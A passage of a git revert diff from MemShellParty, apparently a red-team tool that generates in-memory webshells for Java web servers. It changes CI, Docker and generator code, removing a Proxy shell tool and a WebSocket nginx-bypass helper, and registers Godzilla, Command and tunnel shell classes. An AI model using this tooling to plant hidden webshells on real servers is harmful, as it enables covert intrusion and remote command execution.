docs: update changelog

This reverts commit 25e4086241.

.github/workflows/dev-deploy.yaml

@@ -12,10 +12,7 @@ on:
 jobs:
   build-jar:
     name: Build Jar
-    strategy:
+    runs-on: ubuntu-latest
-      matrix:
-        os: [ubuntu-latest, windows-latest]
-    runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
 
@@ -42,16 +39,10 @@ jobs:
         working-directory: web
         run: bun install --frozen-lockfile && bun run build
 
-      - name: Build Boot with Gradle (Linux)
+      - name: Build Boot with Gradle
-        if: matrix.os == 'ubuntu-latest'
         run: ./gradlew :boot:test :boot:bootjar
 
-      - name: Build Boot with Gradle (Windows)
+      - name: Upload Boot Jar
-        if: matrix.os == 'windows-latest'
-        run: ./gradlew.bat :boot:test :boot:bootjar
-
-      - name: Upload Boot Jar (Linux)
-        if: matrix.os == 'ubuntu-latest'
         uses: actions/upload-artifact@v4
         with:
           name: boot

.github/workflows/memshell-integration-test.yml

@@ -50,7 +50,7 @@ jobs:
             depend_tasks: ""
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout

.github/workflows/probe-integration-test.yml

@@ -44,7 +44,7 @@ jobs:
             depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
           - middleware: "struct2"
             depend_tasks: ":vul:vul-struct2:war"
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     name: ${{ matrix.cases.middleware }}
     steps:
       - name: Checkout

.github/workflows/single-integration-test.yml

@@ -1,47 +0,0 @@
-name: Single IntegrationTest
-
-on:
-  workflow_dispatch:
-    inputs:
-      depend_tasks:
-        description: '前置构建任务，如 :boot:jar :generator:jar'
-        required: false
-        default: ':vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war'
-        type: string
-      test_class:
-        description: '测试用例类名，如 com.reajason.javaweb.integration.memshell.tomcat.Tomcat10WebSocketBypassNginxTest'
-        required: true
-        type: string
-
-concurrency:
-  group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
-  cancel-in-progress: true
-
-jobs:
-  integration-test:
-    runs-on: ubuntu-22.04
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-
-      - name: Setup Java
-        uses: actions/setup-java@v4
-        with:
-          distribution: 'temurin'
-          java-version: 17
-
-      - name: Setup Gradle
-        uses: gradle/actions/setup-gradle@v4
-
-      - name: Prepare for Integration Test
-        if: ${{ inputs.depend_tasks != '' }}
-        run: ./gradlew ${{ inputs.depend_tasks }}
-
-      - name: Integration Test with gradle
-        run: ./gradlew :integration-test:test --tests '${{ inputs.test_class }}' --info
-
-      - name: Export Integration Test Summary
-        uses: mikepenz/action-junit-report@v5
-        if: success() || failure()
-        with:
-          report_paths: '**/build/test-results/test/TEST-*.xml'

.gitmodules

@@ -1,3 +0,0 @@
-[submodule "libs"]
-	path = libs
-	url = https://github.com/ReaJason/javaweb-sources.git

Dockerfile

@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
 # https://hub.docker.com/r/oven/bun
-FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
+FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
 RUN bun run build
 
 # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
-FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.17_10-jdk-noble AS backend
+FROM --platform=$BUILDPLATFORM  eclipse-temurin:17.0.15_6-jdk-noble AS backend
 
 WORKDIR /usr/src
 
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
 
 RUN ./gradlew :boot:bootjar -x test
 
-FROM eclipse-temurin:17.0.17_10-jre-noble
+FROM eclipse-temurin:17.0.15_6-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

README.md

@@ -25,10 +25,10 @@
 MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，致力于简化安全研究人员和红队成员的工作流程，提升攻防效率。
 
 <p align="center">
-  <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
-  <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
-  <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
-  <img src="assets/about_page.png" alt="about_page" width="24%">
+  <img src="asserts/about_page.png" alt="about_page" width="24%">
 </p>
 
 ## 主要特性

asserts/neoreg/Dockerfile

@@ -2,7 +2,7 @@ FROM python:3.12-slim
 
 WORKDIR /app
 
-RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
+RUN pip install requests
 
 COPY neoreg.py .
 

boot/Dockerfile

@@ -1,4 +1,4 @@
-FROM eclipse-temurin:17.0.17_10-jre-noble
+FROM eclipse-temurin:17.0.14_7-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 

boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java

@@ -2,10 +2,9 @@ package com.reajason.javaweb.boot.controller;
 
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
-import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.core.io.ClassPathResource;
-import org.springframework.http.ResponseEntity;
+import org.springframework.http.MediaType;
 import org.springframework.stereotype.Controller;
 import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -35,18 +34,23 @@ public class ViewController {
         return renderFileData(relativePath, response);
     }
 
+    @GetMapping({"/ui/docs/*.data", "/ui/*.data"})
+    @ResponseBody
+    public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        String relativePath = fullPath.substring(4);
+        return renderFileData(relativePath, response);
+    }
+
+
     @GetMapping("/ui/**")
-    @SneakyThrows
+    public String handleHtmlView(HttpServletRequest request) {
-    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
         String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
         if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
             return "index";
         }
-        String docPath = fullPath.substring(4);
+        String viewPath = fullPath.substring(4);
-        if (docPath.endsWith(".data")) {
+        return viewPath + "/index";
-            return ResponseEntity.ok(renderFileData(docPath, response));
-        }
-        return docPath + "/index";
     }
 
     private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -57,6 +61,8 @@ public class ViewController {
                 response.setStatus(HttpServletResponse.SC_NOT_FOUND);
                 return "File not found: " + relativePath;
             }
+            response.setContentType(MediaType.TEXT_PLAIN_VALUE);
+            response.setCharacterEncoding("UTF-8");
             InputStreamReader reader = new InputStreamReader(
                     resource.getInputStream(),
                     StandardCharsets.UTF_8

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -51,8 +51,6 @@ public class MemShellGenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(shellToolConfig.getCommandParamName())
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
                     .template(shellToolConfig.getCommandTemplate())
                     .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
@@ -77,10 +75,6 @@ public class MemShellGenerateRequest {
                     .shellClassBase64(shellToolConfig.getShellClassBase64())
                     .shellClassName(shellToolConfig.getShellClassName())
                     .build();
-            case Proxy -> ProxyConfig.builder()
-                    .headerName(shellToolConfig.getHeaderName())
-                    .headerValue(shellToolConfig.getHeaderValue())
-                    .shellClassName(shellToolConfig.shellClassName).build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.boot.entity;
 
-import lombok.Builder;
 import lombok.Data;
+import lombok.Builder;
 
 /**
  * @author ReaJason

boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java

@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
 
 import org.junit.jupiter.api.Test;
 
-import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.*;
 
 /**
  * @author ReaJason

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -3,7 +3,7 @@ plugins {
 }
 
 mavenPublishing {
-    publishToMavenCentral(automaticRelease = true, validateDeployment = true)
+    publishToMavenCentral()
     signAllPublications()
     coordinates(
         "io.github.reajason",

build.gradle.kts

@@ -9,16 +9,10 @@ idea {
     }
 }
 
-version = "2.6.1"
+version = "2.4.1"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")
     dependsOn(":packer:publishToMavenCentral")
     dependsOn(":generator:publishToMavenCentral")
-}
-
-tasks.register("publishAllToMavenLocal") {
-    dependsOn(":memshell-party-common:publishToMavenLocal")
-    dependsOn(":packer:publishToMavenLocal")
-    dependsOn(":generator:publishToMavenLocal")
 }

docs/README.en.md

@@ -36,9 +36,9 @@ What you can learn or try from this project:
 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
 
-![normal_generator](../assets/normal_generator.png)
+![normal_generator](../asserts/normal_generator.png)
 
-![agent_generator](../assets/agent_generator.png)
+![agent_generator](../asserts/agent_generator.png)
 
 ## Key Features
 

generator/build.gradle.kts

@@ -32,9 +32,7 @@ dependencies {
     api(libs.byte.buddy)
     implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
-    implementation(libs.jakarta.websocket.client.api)
     implementation(libs.javax.servlet.api)
-    implementation(libs.jakarta.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
     implementation(libs.reactor.netty.core)

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -5,7 +5,6 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
-import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
 import com.reajason.javaweb.memshell.server.AbstractServer;
 import com.reajason.javaweb.probe.ProbeContent;
 import com.reajason.javaweb.probe.ProbeMethod;
@@ -64,11 +63,6 @@ public class MemShellGenerator {
         injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
         injectorConfig.setShellClassBytes(shellBytes);
 
-        if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
-                || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
-            injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
-        }
-
         InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
         byte[] injectorBytes = injectorGenerator.generate();
         if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
 import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
-import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
 
 import java.util.Collections;
 import java.util.List;
@@ -61,8 +60,6 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
                 .addShellClass(WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
@@ -140,8 +137,6 @@ public class ServerFactory {
                 .addShellClass(JAKARTA_PROXY_VALVE, Command.class)
                 .addShellClass(WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
                 .addShellClass(UPGRADE, CommandUpgrade.class)
                 .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
                 .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
@@ -240,13 +235,6 @@ public class ServerFactory {
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
                 .addShellClass(ACTION, NeoreGeorgStruct2Action.class)
                 .build());
-
-        addToolMapping(ShellTool.Proxy, ToolMapping.builder()
-                .addShellClass(WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
-                .addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
-                .build());
     }
 
     public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -12,6 +12,5 @@ public class ShellTool {
     public static final String Suo5v2 = "Suo5v2";
     public static final String AntSword = "AntSword";
     public static final String NeoreGeorg = "NeoreGeorg";
-    public static final String Proxy = "Proxy";
     public static final String Custom = "Custom";
 }

generator/src/main/java/com/reajason/javaweb/memshell/ShellToolFactory.java

@@ -23,11 +23,10 @@ public class ShellToolFactory {
         register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
         register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
         register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
-        register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
+        register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
         register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
         register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
         register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
-        register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
     }
 
     public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

@@ -45,9 +45,7 @@ public class ShellType {
     public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
     public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
     public static final String WEBSOCKET = "WebSocket";
-    public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
     public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
-    public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
 
     public static final String ACTION = "Action";
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -22,18 +22,6 @@ public class CommandConfig extends ShellToolConfig {
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
 
-    /**
-     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
-     */
-    @Builder.Default
-    private String headerName = "User-Agent";
-
-    /**
-     * 只有在 WebSocket Bypass 的时候才有用，防止对业务的干扰
-     */
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-
     /**
      * 加密器
      */
@@ -60,22 +48,6 @@ public class CommandConfig extends ShellToolConfig {
             }
             return self();
         }
-
-        public B headerName(final String headerName) {
-            if (StringUtils.isNotBlank(headerName)) {
-                this.headerName$value = headerName;
-                headerName$set = true;
-            }
-            return self();
-        }
-
-        public B headerValue(final String headerValue) {
-            if (StringUtils.isNotBlank(headerValue)) {
-                this.headerValue$value = headerValue;
-                headerValue$set = true;
-            }
-            return self();
-        }
     }
 
 

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -16,38 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
 @AllArgsConstructor
 @Builder(toBuilder = true)
 public class InjectorConfig {
+    /**
+     * 注入器 Builder
+     */
+    DynamicType.Builder<?> injectorBuilder;
+    /**
+     * 内存马 Builder
+     */
+    DynamicType.Builder<?> shellBuilder;
     /**
      * 注入器模板类
      */
     private Class<?> injectorClass;
-
     /**
      * 注入器类名
      */
     @Builder.Default
     private String injectorClassName = CommonUtil.generateInjectorClassName();
-
     /**
      * 注入访问的地址
      */
     @Builder.Default
     private String urlPattern = "/*";
-
     /**
      * 内存马类名
      */
     private String shellClassName;
-
     /**
      * 内存马类字节
      */
     private byte[] shellClassBytes;
 
-    /**
-     * 辅助类字节码
-     */
-    private byte[] helperClassBytes;
-
     /**
      * 添加静态代码块调用构造方法初始化
      */

generator/src/main/java/com/reajason/javaweb/memshell/config/ProxyConfig.java

@@ -1,38 +0,0 @@
-package com.reajason.javaweb.memshell.config;
-
-import com.reajason.javaweb.utils.CommonUtil;
-import lombok.*;
-import lombok.experimental.SuperBuilder;
-import org.apache.commons.lang3.StringUtils;
-
-@Getter
-@SuperBuilder
-@NoArgsConstructor
-@AllArgsConstructor
-@ToString
-public class ProxyConfig extends ShellToolConfig {
-    @Builder.Default
-    private String headerName = "User-Agent";
-    @Builder.Default
-    private String headerValue = CommonUtil.getRandomString(8);
-
-    public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
-            extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
-
-        public B headerName(final String headerName) {
-            if (StringUtils.isNotBlank(headerName)) {
-                this.headerName$value = headerName;
-                headerName$set = true;
-            }
-            return self();
-        }
-
-        public B headerValue(final String headerValue) {
-            if (StringUtils.isNotBlank(headerValue)) {
-                this.headerValue$value = headerValue;
-                headerValue$set = true;
-            }
-            return self();
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -73,18 +73,12 @@ public class ShellConfig {
     @Builder.Default
     private boolean lambdaSuffix = false;
 
-    /**
-     * 将 Java EE 转换为 Jakarta EE 类名
-     */
-    @Builder.Default
-    private boolean jakarta = false;
-
     public boolean isDebugOff() {
         return !debug;
     }
 
     public boolean isJakarta() {
-        return jakarta || shellType.startsWith(ShellType.JAKARTA);
+        return shellType.startsWith(ShellType.JAKARTA);
     }
 
     public boolean needByPassJavaModule() {

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -23,10 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
 
     protected abstract DynamicType.Builder<?> getBuilder();
 
-    protected byte[] postProcessBytes(byte[] classBytes) {
-        return classBytes;
-    }
-
     @Override
     public byte[] getBytes() {
         DynamicType.Builder<?> builder = getBuilder();
@@ -46,8 +42,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
 
         try (DynamicType.Unloaded<?> unloaded = builder.make()) {
-            byte[] bytes = postProcessBytes(unloaded.getBytes());
+            return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
-            return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -49,12 +49,6 @@ public class InjectorGenerator {
                 .method(named("getBase64String")).intercept(FixedValue.value(base64String))
                 .method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
 
-        byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
-        if (helperClassBytes != null) {
-            String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
-            builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
-        }
-
         if (shellConfig.needByPassJavaModule()) {
             builder = ByPassJavaModuleInterceptor.extend(builder);
         }

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
     private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
             new ListenerBuilderModifier(),
             new ValveBuilderModifier(),
+            new JakartaBuilderModifier(),
             new DebugOffBuilderModifier()
     );
 
     private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
-            new JakartaPostProcessor(),
             new JettyHandlerPostProcessor(),
             new ShrinkPostProcessor()
     );

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProxyGenerator.java

@@ -1,17 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.memshell.config.ProxyConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-
-public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
-    public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
-        super(shellConfig, shellToolConfig);
-    }
-
-    @Override
-    protected DynamicType.Builder<?> getBuilder() {
-        return new ByteBuddy().redefine(shellToolConfig.getShellClass());
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5V2Generator.java

@@ -1,46 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.Suo5Config;
-import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
-import com.reajason.javaweb.utils.CommonUtil;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.codec.binary.Base64;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2025/2/12
- */
-public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
-
-    public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
-        super(shellConfig, suo5Config);
-    }
-
-    @Override
-    protected DynamicType.Builder<?> getBuilder() {
-        if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                    .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
-        }
-        try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
-                .redefine(Suo5v2.class)
-                .name(CommonUtil.generateClassName())
-                .field(named("headerName")).value(shellToolConfig.getHeaderName())
-                .field(named("headerValue")).value(shellToolConfig.getHeaderValue())
-                .visit(TargetJreVersionVisitorWrapper.DEFAULT)
-                .make()) {
-            byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
-            return new ByteBuddy()
-                    .redefine(shellToolConfig.getShellClass())
-                    .field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java

@@ -1,55 +0,0 @@
-package com.reajason.javaweb.memshell.generator;
-
-import com.reajason.javaweb.ClassBytesShrink;
-import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.Server;
-import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
-import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
-import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
-import com.reajason.javaweb.utils.CommonUtil;
-import net.bytebuddy.ByteBuddy;
-import net.bytebuddy.dynamic.DynamicType;
-import org.apache.commons.lang3.tuple.Pair;
-
-import static net.bytebuddy.matcher.ElementMatchers.named;
-
-/**
- * @author ReaJason
- * @since 2026/1/13
- */
-public class WebSocketByPassHelperGenerator {
-    public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
-        if (headerPair == null) {
-            throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
-        }
-
-        if (Server.Tomcat.equals(shellConfig.getServer())) {
-            DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
-                    .redefine(TomcatWsBypassValve.class)
-                    .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
-                    .field(named("headerName")).value(headerPair.getKey())
-                    .field(named("headerValue")).value(headerPair.getValue())
-                    .name(CommonUtil.generateClassName());
-            if (shellConfig.isJakarta()) {
-                builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
-            }
-            try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
-                return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
-            }
-        }
-        return null;
-    }
-
-    private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
-        if (shellToolConfig instanceof CommandConfig) {
-            return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
-        } else if (shellToolConfig instanceof GodzillaConfig) {
-            return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
-        } else if (shellToolConfig instanceof ProxyConfig) {
-            return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
-        }
-        return null;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/RuntimeExecInterceptor.java

@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memshell.generator.command;
 
 import net.bytebuddy.asm.Advice;
+import org.apache.commons.io.IOUtils;
 
 import java.io.IOException;
 import java.io.InputStream;

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaBuilderModifier.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.memshell.generator.processors;
+
+import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.memshell.generator.Processor;
+import net.bytebuddy.dynamic.DynamicType;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/7
+ */
+public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
+
+    @Override
+    public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+        return builder;
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JakartaPostProcessor.java

@@ -1,16 +0,0 @@
-package com.reajason.javaweb.memshell.generator.processors;
-
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.generator.Processor;
-
-public class JakartaPostProcessor implements Processor<byte[]> {
-    @Override
-    public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
-        if (shellConfig.isJakarta()) {
-            return ClassRenameUtils.relocateJakarta(input);
-        }
-        return input;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/ListenerBuilderModifier.java

@@ -17,7 +17,6 @@ import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
-import net.bytebuddy.implementation.StubMethod;
 import net.bytebuddy.matcher.ElementMatchers;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -47,9 +46,12 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
                                                   TypeDescription typeDefinition, String newClassName) {
         MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
-        if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
+        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
-            throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
